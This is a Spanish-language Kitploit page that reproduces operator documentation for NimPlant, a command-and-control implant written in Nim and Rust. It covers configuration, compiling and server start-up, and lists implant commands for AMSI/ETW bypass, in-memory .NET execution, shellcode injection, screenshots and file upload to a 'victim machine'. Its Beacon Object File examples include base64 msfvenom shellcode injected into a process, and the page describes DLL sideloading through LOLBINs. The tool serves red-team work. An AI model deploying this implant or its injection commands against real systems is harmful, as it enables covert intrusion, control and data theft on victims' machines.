NimPlant — Un implante C2 de primera etapa ligero escrito en Nim (y Rust). | Kitploit

Categoría	Configuración	Descripción
server	ip	La IP en la que escuchará el servidor web C2 (incluyendo API). Se recomienda usar 127.0.0.1, solo usa 0.0.0.0 cuando hayas configurado reglas de firewall o enrutamiento adecuadas para proteger el C2.
server	port	El puerto en el que escuchará el servidor web C2 (incluyendo API).
listener	type	El tipo de listener, ya sea HTTP o HTTPS. Las opciones de HTTPS se configuran a continuación.
listener	sslCertPath	La ruta local a un archivo de certificado HTTPS (por ejemplo, solicitado mediante LetsEncrypt CertBot o autofirmado). Se ignora cuando el tipo de listener es 'HTTP'.
listener	sslKeyPath	La ruta local al archivo de clave privada del certificado HTTPS correspondiente. Se solicitará la contraseña al ejecutar el servidor NimPlant si está configurada. Se ignora cuando el tipo de listener es 'HTTP'.
listener	hostname	El nombre de host del listener. Si no está vacío (""), NimPlant usará este nombre de host para conectarse. Asegúrate de enrutar correctamente el tráfico desde este host al puerto del listener de NimPlant.
listener	ip	La IP del listener. Requerida incluso si 'hostname' está configurado, ya que el servidor la usa para registrarse en esta IP.
listener	port	El puerto del listener. Requerido incluso si 'hostname' está configurado, ya que el servidor lo usa para registrarse en este puerto.
listener	registerPath	La ruta URI con la que se registrarán nuevos NimPlants.
listener	taskPath	La ruta URI de la que NimPlants obtendrán tareas.
listener	resultPath	La ruta URI a la que NimPlants enviarán resultados.
nimplant	riskyMode	Compila NimPlant con soporte para comandos riesgosos. Se recomienda discreción del operador. Deshabilitarlo eliminará el soporte para `execute-assembly`, `powershell`, `shell` y `shinject`.
nimplant	sleepMask	Si usar o no la máscara de sueño Ekko en lugar de llamadas de sueño regulares para los Nimplants. ¡Solo funciona con ejecutables regulares por ahora!
nimplant	sleepTime	El tiempo de sueño predeterminado en segundos para nuevos NimPlants.

¡NimPlant solo soporta x64 en este momento!

El punto de entrada para archivos DLL es Update, que se activa mediante DllMain para todos los puntos de entrada. Esto significa que puedes usar, por ejemplo, rundll32 .\NimPlant.dll,Update para activarlo, o usar tu LOLBIN de elección para cargarlo lateralmente (puede requerir algunas modificaciones en client/NimPlant.nim o client-rs/src/lib.rs).``` PS C:\NimPlant> python .\nimplant.py compile all

            *    *(#    #
            **  **(##  ##
   ########       (       ********
  ####(###########************,****
     # ########       ******** *
     .###                   ***
     .########         ********
     ####    ###     ***    ****
   ######### ###     *** *********
 #######  ####  ## **  ****  *******
 #####    ##      *      **    *****
 ######  ####   ##***   **** .******
 ###############     ***************
      ##########     **********
         #########**********
           #######********

| \ | () __ ___ | _ | | __ _ _ __ | |_ | | | | '_ _ \| |_) | |/ _ | '_ | __| | |\ | | | | | | | __/| | (| | | | | | || _||| || ||| ||_,|| ||_|

  A light-weight stage 1 implant and C2 based on Nim|Rust and Python
  By Cas van Cooten (@chvancooten)

### Compilación con Docker

Usar Docker es fácil y evita problemas de dependencias, ya que todas las dependencias de compilación y ejecución requeridas están preinstaladas en el contenedor.

Para usar Docker, puedes utilizar el contenedor público `chvancooten/nimplant` de [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) (construido mediante CI/CD), o construir el `Dockerfile` desde el código fuente.

> Para compilar desde el código fuente, ejecuta lo siguiente desde el directorio principal:
> 
> ```bash
> docker build . -t nimplant
> ```

Esto creará un contenedor etiquetado como `nimplant:latest`. Nota: ¡esto puede llevar un tiempo y producir un contenedor de tamaño considerable debido a las dependencias de desarrollo!

Una vez hecho esto, puedes ejecutar el contenedor desde la línea de comandos para compilar tus artefactos.```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust

Si estás ejecutando tu servidor NimPlant externamente desde la máquina donde se compilan los binarios, asegúrate de que tanto config.toml como .xorkey coincidan. Si no es así, NimPlant no podrá conectarse.
El frontend web o la API no admiten autenticación, por lo que NO expongas el puerto del frontend a ninguna red no confiable sin un proxy inverso seguro.
Si NimPlant no puede conectarse a un servidor o pierde la conexión, reintentará 5 veces con un tiempo de retroceso exponencial antes de intentar un re-registro. Si falla en registrarse 5 veces más (misma lógica de retroceso), se eliminará a sí mismo. El retroceso triplica el tiempo de espera en cada intento fallido. Por ejemplo, si el tiempo de espera es de 10 segundos, esperará 10, luego 30 (3^1 * 10), luego 90 (3^2 * 10), luego 270 (3^3 * 10), luego 810 segundos antes de rendirse (estos parámetros están codificados pero pueden cambiarse en client/NimPlant.nim).
Los registros se almacenan en el directorio server/logs. Cada instancia del servidor crea una nueva carpeta de registros, y los registros se dividen por sesión de consola/nimplant. Las descargas y cargas (incluyendo archivos subidos a través de la interfaz web) se almacenan en los directorios server/uploads y server/downloads respectivamente.
Los detalles de Nimplant y del servidor se almacenan en una base de datos SQLite en server/nimplant.db. Estos datos también se utilizan para recuperar Nimplants después de un reinicio del servidor.

Los registros, archivos subidos/descargados y la base de datos se pueden limpiar ejecutando nimplant.py con la bandera cleanup. Precaución: ¡Esto eliminará todo, así que asegúrate de hacer una copia de seguridad de lo que necesites primero!``` PS C:\NimPlant> python .\nimplant.py server

            *    *(#    #
            **  **(##  ##
   ########       (       ********
  ####(###########************,****
     # ########       ******** *
     .###                   ***
     .########         ********
     ####    ###     ***    ****
   ######### ###     *** *********
 #######  ####  ## **  ****  *******
 #####    ##      *      **    *****
 ######  ####   ##***   **** .******
 ###############     ***************
      ##########     **********
         #########**********
           #######********

| \ | () __ ___ | _ | | __ _ _ __ | |_ | | | | '_ _ \| |_) | |/ _ | '_ | __| | |\ | | | | | | | __/| | (| | | | | | || _||| || ||| ||_,|| ||_|

  A light-weight stage 1 implant and C2 written in Nim|Rust and Python
  By Cas van Cooten (@chvancooten)

Esto iniciará tanto la API C2 como el servidor web de gestión (en el ejemplo anterior en `http://127.0.0.1:31337`) y el listener de NimPlant (en el ejemplo anterior en `https://0.0.0.0:443`). Una vez que un NimPlant se registra, puedes usar tanto la interfaz web como la consola para enviar comandos a NimPlant.

### Iniciando el Servidor con Docker

El mismo contenedor `chvancooten/nimplant` que se puede usar para la compilación también se puede usar para ejecutar el servidor NimPlant. Para que NimPlant reconozca el servidor, los archivos `config.toml` y `.xorkey` deben coincidir con la máquina donde se compiló NimPlant (esto es automáticamente correcto si usaste el mismo contenedor Docker para la compilación). Además, el archivo `config.toml` debe configurarse correctamente para Docker, especialmente la IP del servidor de gestión debe establecerse en `0.0.0.0` para alcanzarlo a través de Docker (asegúrate de exponerlo solo en la interfaz local de tu host).

Puedes iniciar un servidor NimPlant con el siguiente comando de ejemplo:```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server

cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.

#### Usando Archivos de Objeto Beacon (BOFs)

**NOTA: Los BOF son volátiles por naturaleza, y ejecutar un BOF defectuoso o pasar argumentos o tipos incorrectos puede bloquear su sesión de NimPlant. ¡Asegúrese de probar los BOF antes de implementarlos!**

NimPlant admite la carga en memoria de BOF gracias a los excelentes proyectos [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) y [Coffee](https://github.com/hakaioffsec/coffee) (Rust). Ejecutar un BOF requiere un archivo de objeto BOF compilado localmente (normalmente llamado algo como `bofname.x64.o`), un punto de entrada (comúnmente `go`), y una lista de argumentos con sus respectivos tipos de argumento. Los argumentos se pasan como un par `arg argtype` separado por espacios.

Los argumentos se proporcionan de acuerdo con el formato "Zzsib", por lo que pueden ser `string` (alias: `z`), `wstring` (o `Z`), `integer` (alias: `int` o `i`), `short` (`s`), o `binary` (`bin` o `b`). Los argumentos binarios pueden ser una cadena binaria cruda o codificada en base64, siendo recomendable esto último para evitar caracteres no deseados.

A continuación se muestran algunos ejemplos de uso (utilizando los magníficos BOF de TrustedSec [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] como ejemplo). Tenga en cuenta que `inline-execute` (sin argumentos) se puede usar para configurar el comando gráficamente en la GUI.```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go

# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z

# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b

# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go            # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z       # OK      - arguments are passed as expected

NimPlant

Más Populares

Instrucciones

Instalación

Servidor

Implante (Nim)

Implante (Rust)

Primeros Pasos

Configuración

Compilación

Iniciar el Servidor

Uso

Notificaciones Push

Construyendo el frontend

Un comentario sobre uso en producción y OPSEC

Solución de problemas